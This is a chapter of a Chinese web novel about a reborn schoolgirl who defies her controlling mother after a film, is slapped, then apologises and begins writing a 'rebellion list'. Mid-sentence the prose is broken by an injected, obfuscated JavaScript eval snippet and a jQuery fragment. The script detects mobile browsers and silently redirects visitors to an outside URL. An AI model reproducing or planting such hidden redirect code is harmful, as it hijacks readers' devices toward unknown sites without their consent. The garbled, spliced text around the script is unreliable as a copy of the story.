17. 母亲

作品:《叛逆清单

    傅煜的脸色很不好。可隔着几个人,夏瑾安不敢太大声,只好用口型问他是不是不舒服。


    傅煜认真读她的唇语,浅抿唇泛着笑意。待她说完,轻摇头,以同样的方式回她:没有。


    她礼貌笑笑转头,注意力回到电影上。


    影片接近尾声,她也看不进去了。


    果真再没了曾经的期待感。电影结束,脑中也没有出现任何观后感,脑袋空空。


    离开电影院,沈叶馨和钟睿一路探讨剧情,她没插一句话。


    两个小时的时间,暴雨停了,牛毛细雨随风落在脸上,泛着丝丝冷意,也把一开始逃离家里的热血驱散。


    夏瑾安撑伞站在路边。沈叶馨说:“我们一起回去吧。”


    她摇头:“我自己回去,你和钟睿走吧。”


    并非有意驳沈叶馨的好意,是现在雨小了,她怕杨丽琴会掐着时间在法院外等她,她不想在朋友面前丢脸。


    沈叶馨说好,载着钟睿离开。


    傅煜还站在她旁边,没有离开的意思。


    夏瑾安局促不安望四周,比起怕杨丽琴在法院门口等她,更怕现在,只有她和傅煜二人的时候,杨丽琴冲到电影院来。


    没看到母亲,倒见着傅煜身上沾染的小水珠,她不能和傅煜打一把伞,做出太亲密的事,把伞给他:“还给你。”


    傅煜不接,随手将宽大的帽子盖头上,把脸遮得严严实实:“不用。你怎么回去?”


    夏瑾安答:“打个车。”


    傅煜目光匆匆在她脸上划过,不敢多停留,说:“好。”


    往旁边走出两步,同夏瑾安拉开距离,却又突然停下,视线朝她去。


    夏瑾安没注意到男生欲言又止的表情,一心想回家之后会迎来如何的狂风骤雨,是女子单打,还是男女混合双打?


    司机接单,她惴惴不安握着手机,张望寻找汽车,看见五米开外站在路灯下还没离去的傅煜。


    他没朝自己看,目光不知停留在何处。看上去没有离去的打算,就那般平静地站着,似乎融在黑夜里,静静等待着什么。


    点点光影落在男生身上,夏瑾安望着他晃神。


    傅煜长相清俊,身上全然没有同学口中经常打架的戾气,反而透着一股温润。


    恍惚间她又想起上一世傅煜替秦霁菡出头打架后的流言。


    夏瑾安怔了怔。


    已经一个多月了,这件事未发生,但因什么而改变,夏瑾安不得而知,胡乱猜想是因为傅煜主动说他有喜欢的人了。


    夏瑾安游离。


    唤醒她的是一辆白色比亚迪停在她面前。


    夏瑾安拉开后车门坐上去,侧身间发现岿然不动的少年朝她这边看了一眼。


    等她再次回头确认,见傅煜正握着手机,把耳机线插上,迈开脚步似乎也准备回家了。


    *


    杨丽琴并没有在法院门口等她。


    夏瑾安将右手拇指放在指纹锁上,指腹被冷汗润湿,识别了几次锁才解开。


    屋内静谧漆黑,雨水汇聚伞尖,水砸在地面的细微声响无疑被放大,刺激着每股神经。


    夏瑾安小心关门,动作轻缓换上家居鞋,尽量不发出任何声响,垫着脚尖往卧室走。


    黑暗中,拂身而过的风冰冷又锋利,激得裸露皮肤阵阵紧缩。夏瑾安脖颈发凉,微微发颤。


    直到把卧室门打开,才稍稍松了口气。


    只是下一秒她便察觉到书桌前有一道人影。


    呼吸凝固,大脑停止运行。


    夏瑾安无声无息在门口站了数十秒,犹豫着抬手,摸向熟悉的开灯面板。


    轻轻一嗯,卧室亮起明晃晃的白光,空气陡然冷凝。夏瑾安被冻在原地,身子直直僵住。


    灯光落在眼里,像刀子刺得眼睛生疼。


    杨丽琴把她心虚的模样收入眼底,板着的脸上好像写着胜利的喜悦。


    夏瑾安一言不发,对峙持续了足足一分钟。


    是堪比一世纪还漫长的一分钟。夏瑾安手中的雨伞往下滴水,地面积起一滩液体。


    杨丽琴终于开口:“还知道回来?那么喜欢看电影,怎么不住在电影院?”


    母亲语气满是讥讽,夏瑾安却发现这一路的忐忑与恐惧正在消退。


    身体不再僵硬,反而在此刻再一次沸腾起来,热度不断攀升,空气里的湿度好像滋养着体内的某种物质,夏瑾安情绪开始激动,几乎要失控。


    杨丽琴看她绷着脸,眼神由上至下打量她,视线落到脚尖又迅速移到她脸上,发出一声轻嗤:“一场电影把你看哑巴了?来给我说说那电影里有什么把你魂勾走了。”


    夏瑾安依旧没做声,默默咬着牙,憋住不断在喉咙里打滚的话。


    她想说对不起妈妈,我只是不想失约。


    但更想说,看一场电影而已能不能不要上纲上线。


    可她怕开口话就会跑偏,然后爆发一轮争吵。


    只是这样忍着她又怕对乳腺不好,之前入职体检的时候医生说她胸部有增生,不要生闷气……


    杨丽琴看她眼神飘忽,抬手拍了下桌子:“夏瑾安,你以为不说话这件事就算了?”


    为了乳腺,夏瑾安提了口气,抬起眼,冷冷看向前方:“妈,看场电影到底有多大错?”


    其实她心知肚明,事件本身不是导火索,正真的问题在于她表现出对这部电影的渴望。


    而她的渴望恰好是母亲厌恶的,因为这部电影的简介触及到了母亲的某根敏感神经,遭到母亲嫌弃。所以母亲希望自己和她统一观念。


    就像杨丽琴说那双鞋花里胡哨,下一秒夏瑾安就必须也说出类似的话。比如:确实太粉了。


    她要完全服从父母、顺从他们的心意。


    而这些年她也如他们所愿,不管发生什么,要做什么选择,她都会点头附和他们的观点,为此达到一家子其乐融融的状态。


    她温顺、乖巧被父母的同事、亲戚夸赞听话懂事。她也成为一个标杆、模版,常常在各种聚会上听见叔叔阿姨说:“你看人家安安,再看看你。”


    可她并不以此骄傲,反而觉得心烦。


    因为这一句之后,父母总是会客套回应:“她那是笨,就是死读书,哪儿有你们家的谁谁谁聪明,多才多艺、兴趣广泛。”


    夏瑾安胸口堵着一股闷气,情绪达到燃点。


    没等杨丽琴反应过来,她继续问:“看场电影我是会掉块肉,还是会因此没心思读书,要去混社会?”


    夏瑾安语气平缓,铿锵有力,杨丽琴反倒哑口。


    看她的眼神满是不可思议。


    夏瑾安读懂那个眼神里的意思:我女儿明天就要去打耳洞,抽烟喝酒,伙同社会上不三不四的男生夜不归宿。


    杨丽琴从未听她这样说过话,眼底惊愕逐渐转变成愤怒,随手抄起书桌上的胖鸭子朝夏瑾安砸过去。


    打在她的腿骨上。


    夏瑾安不觉痛,甚至没有垂头看一眼再次被丢的手办,继续盯着母亲的眼睛,眼里泛起一股倔犟。


    控诉道:“小时候我买一本练习册,差一块钱,就只向同学借了一块钱而已,你就说我拿别人的钱,和我爸一起把鼻血给我打出来。练字也只因为错了一笔,你就把那一页全部撕掉,告诉我一笔都不能错,否则整页都不好看。现在我去看了场电影,你又打算怎么做?把我眼睛挖掉?说因为场电影我的眼睛、三观也全部坏掉了?”


    话出口,她察觉有些偏激。


    但是却彻底爽了,是那种前所未有的爽,乳腺似乎都通了。


    心想都重活一次了,难道还要再被控制欲强的母亲管控一次?何况她成绩不差,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282870|138813||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不用再“死读书”。若是再和从前一样活,算是白重生了。


    她甚至开始后悔当初没有看好哪支股票、记住几个彩票号什么的。


    杨丽琴在她的话里逐渐回过神,上前对着她的脸就是一巴掌。


    痛感并不强,只觉得麻木,耳畔落入谩骂声:“你看你现在像个什么东西,我怎么生出你这种玩意,养条狗都知道听话,下雨不往外跑。”


    音落的同时右侧脸颊再次挨上一巴掌。


    “你这样不听话以后有什么好下场,还是说你就想变成一个社会垃圾,不务正业。”


    夏瑾安对这些话并不感到惊讶,反正只要不顺母亲的意,她来来回回就念叨这些极端的话。


    “幸好初中没把你转到城里,要是转来了,说不定早就不成样子,连个二中都考不上。”


    杨丽琴看见她手里的伞,指着她额心骂:“你以为我们家像桐桐家一样有钱,考不上好大学还能送你出国去留学?你考不上大学就废了,以后出了社会有你好受的,将来哪个好家庭的男生会和你接触。你就玩嘛,迟早把自己玩成一个废物。”


    夏瑾安心底隐隐发笑。


    回怼:“嗯,没有男生和我接触更好,我也不用像你一样怕被旁人说闲话,尽力维持贤惠形象。更加不会生个孩子,然后用你教育我的方式去教育下一代,不错,她挺幸运的。”


    听到这番话,杨丽琴讷讷站在原地,怔望夏瑾安,眼眶倏地一红。


    好像捕食的雄鹰反被猎物给拍了一爪,眼神变得迷惘、无措。


    夏瑾安看到母亲颤抖的双唇,和那欲落未落的泪,好像凉水也落到了自己身上,火熄灭不少。


    她听母亲说过,在她还未出生的时候,爷爷奶奶都盼着她是个男孩,可惜事与愿违,于是老两口又把希望寄托到老二身上。


    后来夏梓桐出生,他们也怂恿过两兄弟要二胎。na?shi因为职务原因,父亲不能要,而堂妹家却说只要桐桐一个就好。


    后来这事作罢。


    但是爷爷奶奶并没有重男轻女,从小到大,他们都对她和堂妹很好。


    特别是对桐桐。她嘴甜能说会哄,加上家里有钱,小时候奶奶尤其偏爱她,直到初中夏瑾安成绩不错,远压邻居家的男孩,爷爷奶奶才时常拿她出来夸耀。


    在外人看来,老夏家两个儿子都有出息,孙女媳妇也懂事孝顺,成绩还好,是邻里羡慕的家庭。


    可是,这些事却在杨丽琴心里留了刺。


    她认为自己没给夏家生男丁,所以一直尽力扮演孝顺儿媳的角色,什么事都抢在前头,任劳任怨。


    这也导致她才五十岁,就生出了许多白发。


    眼前母亲的这张脸和曾经的脸重合,夏瑾安发现,她似乎在一瞬间就老了。


    她又想起杨丽琴每个周末来回奔波看望老人、帮忙种菜、备课、指导她作业,过年还要替一大家子人做饭的忙碌身影。


    而外公还会同她说:“你是人家的媳妇就要好好相夫教子,伺候好公婆,不然会丢了我们杨家的脸,被人说闲话。”


    在这种奉献教育下,杨丽琴成了亲戚口中最贤惠的媳妇。


    往事涌上来,夏瑾安无法再开口与母亲吵架。


    垂下眸,看了眼脚上的鞋,低声说:“妈妈,对不起。”


    争吵以她服软结束。


    大概也是杨丽琴被戳了痛楚,抹着泪回屋了。


    夏瑾安打开夜灯,独自坐在书桌前。


    凉风从窗户缝隙灌进来,吹得头脑愈发清醒。


    夏瑾安将藏在笔里的便签纸拿出来展开,看了一眼,撕成碎片混合卫生纸丢进垃圾桶。


    而后撕下一张作业纸。


    看了眼旁边撑开晾干的雨伞,夏瑾安握着笔,落笔在纸上游走。


    最终落下【叛逆清单】四字。